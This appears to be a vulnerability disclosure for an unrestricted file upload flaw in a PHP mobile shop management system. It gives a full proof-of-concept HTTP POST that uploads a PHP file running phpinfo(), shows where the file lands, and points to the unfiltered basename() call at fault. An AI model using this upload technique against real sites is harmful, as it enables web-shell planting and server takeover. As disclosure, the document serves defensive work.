code-projects Mobile Shop Management System /ExAddProduct.php File Upload

Complete the installation by downloading the source code from the following location:
https://download-media.code-projects.org/2019/12/MOBILE_SHOP_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE.zip
The system homepage is:
![输入图片说明](https://foruda.gitee.com/images/1765444124651836095/c3b6a91e_11770689.png "ae2fe34b1d647f0933d92027673da711.png")
The vulnerability exists in http://127.0.0.1/Execute/ExAddProduct.php 
At the image upload section, the uploaded files are not detected, resulting in arbitrary files, including PHP backdoor files, being executable
![输入图片说明](https://foruda.gitee.com/images/1765444251060903537/fa990374_11770689.png "3808ff712d652643233b8718fbd52339.png")
POST /Execute/ExAddProduct.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 2092
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="127", "Not)A;Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAzUfJxY2b5NCtyoD
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/AddNewProduct.php
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=kcpa72tttvo8b1vfoh7a8put44
Connection: keep-alive

------WebKitFormBoundaryAzUfJxY2b5NCtyoD
Content-Disposition: form-data; name="ProductName"

test
------WebKitFormBoundaryAzUfJxY2b5NCtyoD
Content-Disposition: form-data; name="BrandName"

1
------WebKitFormBoundaryAzUfJxY2b5NCtyoD
Content-Disposition: form-data; name="ProductPrice"

1
------WebKitFormBoundaryAzUfJxY2b5NCtyoD
Content-Disposition: form-data; name="Quantity"

1
------WebKitFormBoundaryAzUfJxY2b5NCtyoD
Content-Disposition: form-data; name="TotalPrice"

1
------WebKitFormBoundaryAzUfJxY2b5NCtyoD
Content-Disposition: form-data; name="DisplaySize"

1
------WebKitFormBoundaryAzUfJxY2b5NCtyoD
Content-Disposition: form-data; name="OperatingSystem"

1
------WebKitFormBoundaryAzUfJxY2b5NCtyoD
Content-Disposition: form-data; name="Processor"

1
------WebKitFormBoundaryAzUfJxY2b5NCtyoD
Content-Disposition: form-data; name="InternalMemory"

1
------WebKitFormBoundaryAzUfJxY2b5NCtyoD
Content-Disposition: form-data; name="RAM"

1
------WebKitFormBoundaryAzUfJxY2b5NCtyoD
Content-Disposition: form-data; name="CameraDescription"

1
------WebKitFormBoundaryAzUfJxY2b5NCtyoD
Content-Disposition: form-data; name="BatteryLife"

1
------WebKitFormBoundaryAzUfJxY2b5NCtyoD
Content-Disposition: form-data; name="Weight"

1
------WebKitFormBoundaryAzUfJxY2b5NCtyoD
Content-Disposition: form-data; name="Model"

1
------WebKitFormBoundaryAzUfJxY2b5NCtyoD
Content-Disposition: form-data; name="Dimension"

1
------WebKitFormBoundaryAzUfJxY2b5NCtyoD
Content-Disposition: form-data; name="ASIN"

1
------WebKitFormBoundaryAzUfJxY2b5NCtyoD
Content-Disposition: form-data; name="ProductImage"; filename="test.php"
Content-Type: application/octet-stream

<? echo phpinfo();?>
------WebKitFormBoundaryAzUfJxY2b5NCtyoD
Content-Disposition: form-data; name="date2"

2025-12-11
------WebKitFormBoundaryAzUfJxY2b5NCtyoD
Content-Disposition: form-data; name="Description"

------WebKitFormBoundaryAzUfJxY2b5NCtyoD
Content-Disposition: form-data; name="_wysihtml5_mode"

1
------WebKitFormBoundaryAzUfJxY2b5NCtyoD-
The file has been successfully uploaded
![输入图片说明](https://foruda.gitee.com/images/1765444319503075069/e4b29c5f_11770689.png "24ea5ee5a0afd29358b51ab53edc0fe7.png")
![输入图片说明](https://foruda.gitee.com/images/1765444346033717031/591e3d3f_11770689.png "c31f24702688aff5c094c242b1a1586e.png")
The uploaded file path can be viewed on the product display page /gallery.php
![输入图片说明](https://foruda.gitee.com/images/1765444383535001487/9ac117a4_11770689.png "84e89152d560e9ce7dcc16b99fad1bd7.png")
![输入图片说明](https://foruda.gitee.com/images/1765444435260775255/1218bd9c_11770689.png "e030f00e9b9855753487d5d95cb8f70c.png")
Source code analysis: 
Analyze the source code of /Execute/ExAddProduct.php:
![输入图片说明](https://foruda.gitee.com/images/1765444471319211920/e54e62b6_11770689.png "698f46f5ac34a4493d6edf8f2e62771d.png")
The code in line 57, basename($_FILES["ProductImage"]["name"]); directly extracts the file name without filtering the file extension and uploads the file directly to the file directory, allowing attackers to upload files with arbitrary extensions for attack

待我身高一米八/zyy

内容风险标识

评论 (0)

待我身高一米八/zyy .gitee-modal { width: 500px !important; }

内容风险标识